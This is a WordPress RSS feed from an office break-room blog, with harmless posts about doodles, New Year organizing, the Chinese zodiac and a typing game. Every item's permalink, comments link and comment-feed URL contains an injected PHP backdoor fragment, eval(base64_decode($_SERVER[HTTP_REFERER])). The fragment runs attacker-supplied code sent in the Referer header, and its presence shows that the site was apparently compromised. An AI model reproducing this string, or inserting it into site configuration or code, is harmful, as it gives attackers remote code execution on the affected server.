<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Our Break Room &#187; Interesting</title>
	<atom:link href="http://www.ourbreakroom.com/category/interesting/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.ourbreakroom.com</link>
	<description>Welcome to the Petty-Michel and Marketing Manager Break Room.</description>
	<lastBuildDate>Wed, 18 Aug 2010 23:57:36 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>What does your doodle say about you?</title>
		<link>http://www.ourbreakroom.com/2010/08/14/what-does-your-doodle-say-about-you/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.ourbreakroom.com/2010/08/14/what-does-your-doodle-say-about-you/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 14 Aug 2010 22:17:10 +0000</pubDate>
		<dc:creator>Linda</dc:creator>
				<category><![CDATA[Interesting]]></category>
		<category><![CDATA[Whoa!]]></category>

		<guid isPermaLink="false">http://www.ourbreakroom.com/?p=340</guid>
		<description><![CDATA[Do you have a tendency to doodle while talking on the phone with patients or waiting on hold for the insurance company?  Have you ever wondered what all that doodling means?

Well now you can have Doodle Expert Sunni Brown analyze your doodle.  For more information visit: Sharpie Uncapped Doodle Analyzer.
]]></description>
			<content:encoded><![CDATA[<p>Do you have a tendency to doodle while talking on the phone with patients or waiting on hold for the insurance company?  Have you ever wondered what all that doodling means?</p>
<p style="text-align: center;"><a href="http://ourbreakroom.com/wp-content/uploads/Doodle_home.jpg"><img class="size-full wp-image-341 aligncenter" title="Doodle_home" src="http://ourbreakroom.com/wp-content/uploads/Doodle_home.jpg" alt="" width="270" height="190" /></a></p>
<p>Well now you can have Doodle Expert Sunni Brown analyze your doodle.  For more information visit: <a title="Sharpie Uncapped Doodle Analyzer" href="http://sharpieuncapped.com/frame.aspx?url=http://showcase.sharpieuncapped.com/pages/showgallery/7400/media/all/created_desc" target="_blank">Sharpie Uncapped Doodle Analyzer.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ourbreakroom.com/2010/08/14/what-does-your-doodle-say-about-you/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Great Opportunities, disquised as impossible situations</title>
		<link>http://www.ourbreakroom.com/2010/08/05/great-opportunities-disquised-as-impossible-situations/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.ourbreakroom.com/2010/08/05/great-opportunities-disquised-as-impossible-situations/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 06 Aug 2010 03:06:00 +0000</pubDate>
		<dc:creator>Linda</dc:creator>
				<category><![CDATA[Inspirational]]></category>
		<category><![CDATA[Interesting]]></category>

		<guid isPermaLink="false">http://www.ourbreakroom.com/?p=336</guid>
		<description><![CDATA[In March 2009, on a flight from Tampa to Houston, I sat next to this amazing woman, Maureen Dunkel.   During flight, she shared bits and pieces of her life with me as I did with her.  Little did I know how much of an impression she would leave with me until I returned home and [...]]]></description>
			<content:encoded><![CDATA[<p>In March 2009, on a flight from Tampa to Houston, I sat next to this amazing woman, Maureen Dunkel.   During flight, she shared bits and pieces of her life with me as I did with her.  Little did I know how much of an impression she would leave with me until I returned home and read more about her and her works on the internet.</p>
<p>Recently she was interviewed by Chicke Fitzgerald.    Listen to the interview here: <a href="http://www.blogtalkradio.com/solutionzlive/2010/02/12/maureen-dunkel--great-opportunities-disguised-as-i" target="_blank">My Decade with Diana</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ourbreakroom.com/2010/08/05/great-opportunities-disquised-as-impossible-situations/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kids &#8220;Don&#8217;t make your beds&#8221;</title>
		<link>http://www.ourbreakroom.com/2010/07/08/kids-dont-make-your-beds/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.ourbreakroom.com/2010/07/08/kids-dont-make-your-beds/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 09 Jul 2010 00:22:20 +0000</pubDate>
		<dc:creator>Linda</dc:creator>
				<category><![CDATA[Interesting]]></category>

		<guid isPermaLink="false">http://www.ourbreakroom.com/?p=334</guid>
		<description><![CDATA[House dust mites are linked to asthma and according to the BBC News, UK  it may be healthier to leave your bed a mess in the morning. Won&#8217;t that make the kids happy?
Read about it here: Untidy beds may keep us healthy
]]></description>
			<content:encoded><![CDATA[<p>House dust mites are linked to asthma and according to the BBC News, UK  it may be healthier to leave your bed a mess in the morning. Won&#8217;t that make the kids happy?</p>
<p>Read about it here: <a href="http://news.bbc.co.uk/2/hi/4181629.stm" target="_blank">Untidy beds may keep us healthy</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ourbreakroom.com/2010/07/08/kids-dont-make-your-beds/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Year&#8217;s Re-organization</title>
		<link>http://www.ourbreakroom.com/2010/01/09/new-years-re-organization/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.ourbreakroom.com/2010/01/09/new-years-re-organization/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 09 Jan 2010 13:56:50 +0000</pubDate>
		<dc:creator>Ed</dc:creator>
				<category><![CDATA[Home use]]></category>
		<category><![CDATA[Interesting]]></category>

		<guid isPermaLink="false">http://www.ourbreakroom.com/?p=218</guid>
		<description><![CDATA[I don&#8217;t know about you, but for me and many others, January and the New Year always brings a sense of having to re-organize our lives, our time and our space. Not necessarily a New Year&#8217;s Resolution but a New Year’s Re-Organization. 
 
Having recently helped my sister and her husband pack up thirty years [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal">I don&#8217;t know about you, but for me and many others, January and the New Year always brings a sense of having to re-organize our lives, our time and our space.<span> </span>Not necessarily a New Year&#8217;s Resolution but a New Year’s Re-Organization.<span> </span></p>
<p class="MsoNormal"><!--[if !supportEmptyParas]--> <!--[endif]--></p>
<p class="MsoNormal">Having recently helped my sister and her husband pack up thirty years of “stuff” to move from Wisconsin to South Dakota, and now facing the task of packing up seventy+ years of mom’s “stuff”.<span> </span>I feel an increased need to take a look at my own “stuff” and get it organized now.<span> </span></p>
<p class="MsoNormal"><!--[if !supportEmptyParas]--> <!--[endif]--></p>
<p class="MsoNormal">The same is true for office space.<span> </span>Is your work space efficient the way it is currently organized?<span> </span>Is there “a place for everything and everything in it’s place”?<span> </span></p>
<p class="MsoNormal"><!--[if !supportEmptyParas]--> <!--[endif]--></p>
<p class="MsoNormal">Whether you feel the need to organize or not, cleaning out the clutter and changing things up in the office can give you a fresh look and attitude towards your work day.<span> </span>Often times patients will even notice the change and<span> </span>enjoy the fresh “makeover”.<span> </span></p>
<p class="MsoNormal"><!--[if !supportEmptyParas]--> <!--[endif]--></p>
<p class="MsoNormal">Here are some tips to help you get started today: <a href="http://lifeorganizers.com/Office-Home-Office/The-Organized-Office/The-Desktop-Dozen-Twelve-Items-to-Toss-Today.html">Link</a></p>
<p><!--EndFragment--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ourbreakroom.com/2010/01/09/new-years-re-organization/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Will you be successful with your New Years Resolutions?</title>
		<link>http://www.ourbreakroom.com/2010/01/02/tips-to-make-your-new-years-resolutions-successful/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.ourbreakroom.com/2010/01/02/tips-to-make-your-new-years-resolutions-successful/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 03 Jan 2010 02:14:54 +0000</pubDate>
		<dc:creator>Ed</dc:creator>
				<category><![CDATA[Interesting]]></category>
		<category><![CDATA[Whoa!]]></category>

		<guid isPermaLink="false">http://www.ourbreakroom.com/?p=213</guid>
		<description><![CDATA[Clinical psychologist Wendy Walsh spoke to Harry Smith about successful resolutions in the new year and gave some tips on how to stick to a changing lifestyle.

Watch CBS News Videos Online
]]></description>
			<content:encoded><![CDATA[<p>Clinical psychologist Wendy Walsh spoke to Harry Smith about successful resolutions in the new year and gave some tips on how to stick to a changing lifestyle.<br />
<object width="425" height="324" data="http://cnettv.cnet.com/av/video/cbsnews/atlantis2/player-dest.swf" type="application/x-shockwave-flash"><param name="flashvars" value="linkUrl=http://www.cbsnews.com/video/watch/?id=6029781n&amp;releaseURL=http://cnettv.cnet.com/av/video/cbsnews/atlantis2/player-dest.swf&amp;videoId=50081444,50081581,50081580,50081579,50081578,50081577,50081563&amp;partner=news&amp;vert=News&amp;si=254&amp;autoPlayVid=false&amp;name=cbsPlayer&amp;allowScriptAccess=always&amp;wmode=transparent&amp;embedded=y&amp;scale=noscale&amp;rv=n&amp;salign=tl" /><param name="src" value="http://cnettv.cnet.com/av/video/cbsnews/atlantis2/player-dest.swf" /><param name="allowfullscreen" value="true" /></object><br />
<a href="http://www.cbsnews.com">Watch CBS News Videos Online</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ourbreakroom.com/2010/01/02/tips-to-make-your-new-years-resolutions-successful/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>2010 &#8211; The Year of The Tiger</title>
		<link>http://www.ourbreakroom.com/2010/01/02/2010-the-year-of-the-tiger/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.ourbreakroom.com/2010/01/02/2010-the-year-of-the-tiger/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 03 Jan 2010 01:59:50 +0000</pubDate>
		<dc:creator>Ed</dc:creator>
				<category><![CDATA[Inspirational]]></category>
		<category><![CDATA[Interesting]]></category>

		<guid isPermaLink="false">http://www.ourbreakroom.com/?p=205</guid>
		<description><![CDATA[The Chinese use the lunar calendar for celebratory events which includes the New Year. This falls somewhere between late January and early February. The cycle of twelve animal signs originates from Chinese tradition as a way of naming the years. The animals follow one another in an established  order and are replicated every twelve [...]]]></description>
			<content:encoded><![CDATA[<p>The Chinese use the lunar calendar for celebratory events which includes the New Year. This falls somewhere between late January and early February. The cycle of twelve animal signs originates from Chinese tradition as a way of naming the years. The <a id="KonaLink0" class="kLink" style="text-decoration: underline ! important; position: static;" href="http://www.yearofthetiger.net/#" target="undefined"><span style="color: blue ! important; font-weight: 400; font-size: 11px; position: static;"><span class="kLink" style="color: blue ! important; font-family: arial,sans-serif; font-weight: 400; font-size: 11px; position: static;">animals</span></span></a> follow one another in an established  order and are replicated every twelve years. The rat, ox, <a id="KonaLink1" class="kLink" style="text-decoration: underline ! important; position: static;" href="http://www.yearofthetiger.net/#" target="undefined"><span style="color: blue ! important; font-weight: 400; font-size: 11px; position: static;"><span class="kLink" style="color: blue ! important; font-family: arial,sans-serif; font-weight: 400; font-size: 11px; position: static;">tiger</span></span></a>, rabbit,  dragon, snake, horse, sheep, monkey, rooster, dog and <a id="KonaLink2" class="kLink" style="text-decoration: underline ! important; position: static;" href="http://www.yearofthetiger.net/#" target="undefined"><span style="color: blue ! important; font-weight: 400; font-size: 11px; position: static;"><span class="kLink" style="color: blue ! important; font-family: arial,sans-serif; font-weight: 400; font-size: 11px; position: static;">pig</span></span></a> are the twelve animal signs. Every animal has particular characteristics and people born in a specific year are believed to take on these characteristics. According to the <a id="KonaLink3" class="kLink" style="text-decoration: underline ! important; position: static;" href="http://www.yearofthetiger.net/#" target="undefined"><span style="color: blue ! important; font-weight: 400; font-size: 11px; position: static;"><span class="kLink" style="border-bottom: 1px solid blue; color: blue ! important; font-family: arial,sans-serif; font-weight: 400; font-size: 11px; position: static; background-color: transparent;">Chinese </span><span class="kLink" style="border-bottom: 1px solid blue; color: blue ! important; font-family: arial,sans-serif; font-weight: 400; font-size: 11px; position: static; background-color: transparent;">Zodiac</span></span></a>,  the Year of 2010 is the <a id="KonaLink4" class="kLink" style="text-decoration: underline ! important; position: static;" href="http://www.yearofthetiger.net/#" target="undefined"><span style="color: blue ! important; font-weight: 400; font-size: 11px; position: static;"><span class="kLink" style="border-bottom: 1px solid blue; color: blue ! important; font-family: arial,sans-serif; font-weight: 400; font-size: 11px; position: static; background-color: transparent;">Year </span><span class="kLink" style="border-bottom: 1px solid blue; color: blue ! important; font-family: arial,sans-serif; font-weight: 400; font-size: 11px; position: static; background-color: transparent;">of </span><span class="kLink" style="border-bottom: 1px solid blue; color: blue ! important; font-family: arial,sans-serif; font-weight: 400; font-size: 11px; position: static; background-color: transparent;">the </span><span class="kLink" style="border-bottom: 1px solid blue; color: blue ! important; font-family: arial,sans-serif; font-weight: 400; font-size: 11px; position: static; background-color: transparent;">Tiger</span></span></a>, which commences on February 14, 2010  and ends on February 2, 2011.<br />
Read the rest of the story:<a href="http://www.yearofthetiger.net/" target="_blank">http://www.yearofthetiger.net/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ourbreakroom.com/2010/01/02/2010-the-year-of-the-tiger/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Trillion Bucks</title>
		<link>http://www.ourbreakroom.com/2009/03/09/a-trillion-bucks/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.ourbreakroom.com/2009/03/09/a-trillion-bucks/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 10 Mar 2009 04:21:26 +0000</pubDate>
		<dc:creator>Ed</dc:creator>
				<category><![CDATA[Interesting]]></category>
		<category><![CDATA[Whoa!]]></category>

		<guid isPermaLink="false">http://www.ourbreakroom.com/?p=143</guid>
		<description><![CDATA[Fella standing next to 100 millions of dollars on a palet.


The same person is at the bottom left of the pallets. Pallets are double stacked.

more&#8230;
]]></description>
			<content:encoded><![CDATA[<p>Fella standing next to 100 millions of dollars on a palet.<BREAK></p>
<p><img class="alignleft size-medium wp-image-168" title="pallet" src="http://ourbreakroom.com/wp-content/uploads/pallet-300x191.jpg" alt="pallet" width="300" height="191" /></p>
<p><span id="more-143"></span></p>
<p>The same person is at the bottom left of the pallets. Pallets are double stacked.</p>
<p><img class="alignleft size-medium wp-image-149" title="a-trillion-bucks" src="http://ourbreakroom.com/wp-content/uploads/a-trillion-bucks-300x133.jpg" alt="a-trillion-bucks" width="300" height="133" /></p>
<p><a href="http://www.pagetutor.com/trillion/index.html">more&#8230;</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ourbreakroom.com/2009/03/09/a-trillion-bucks/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Addictive Typing Game</title>
		<link>http://www.ourbreakroom.com/2008/04/29/addictive-typing-game/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.ourbreakroom.com/2008/04/29/addictive-typing-game/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 29 Apr 2008 19:01:19 +0000</pubDate>
		<dc:creator>Ed</dc:creator>
				<category><![CDATA[Interesting]]></category>

		<guid isPermaLink="false">http://ourbreakroom.com/addictive-typing-game</guid>
		<description><![CDATA[Try this. Helps improve your typing.
Link.
]]></description>
			<content:encoded><![CDATA[<p>Try this. Helps improve your typing.</p>
<p><a href="http://play.typeracer.com/">Link.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ourbreakroom.com/2008/04/29/addictive-typing-game/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Do you have time to exercise?</title>
		<link>http://www.ourbreakroom.com/2008/02/20/do-you-have-time-to-exercise/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.ourbreakroom.com/2008/02/20/do-you-have-time-to-exercise/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 20 Feb 2008 22:47:28 +0000</pubDate>
		<dc:creator>Ed</dc:creator>
				<category><![CDATA[Interesting]]></category>

		<guid isPermaLink="false">http://ourbreakroom.com/do-you-have-time-to-exercise</guid>
		<description><![CDATA[
Larger printable PDF copy for your office. 
submitted by Dave Michel

]]></description>
			<content:encoded><![CDATA[<p><img src="http://ourbreakroom.com/wp-content/uploads/2008/02/exercise-cartoon.jpg" /><br />
<a href="http://www.pmaworks.com/main/uploads/cartoon_pdf_exercise.pdf">Larger printable PDF copy for your office. </a></p>
<div align="right">submitted by <em>Dave Michel<br />
</em></div>
]]></content:encoded>
			<wfw:commentRss>http://www.ourbreakroom.com/2008/02/20/do-you-have-time-to-exercise/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Good Housekeeping</title>
		<link>http://www.ourbreakroom.com/2008/01/13/good-housekeeping/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.ourbreakroom.com/2008/01/13/good-housekeeping/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 14 Jan 2008 03:57:45 +0000</pubDate>
		<dc:creator>Ed</dc:creator>
				<category><![CDATA[Interesting]]></category>

		<guid isPermaLink="false">http://ourbreakroom.com/good-housekeeping</guid>
		<description><![CDATA[Just in case you wanted to follow up on that article you were reading while standing in the check-out line. Always a few good practical tips here.
Good Housekeeping.
]]></description>
			<content:encoded><![CDATA[<p>Just in case you wanted to follow up on that article you were reading while standing in the check-out line. Always a few good practical tips here.</p>
<p><a href="http://www.goodhousekeeping.com/">Good Housekeeping.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ourbreakroom.com/2008/01/13/good-housekeeping/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
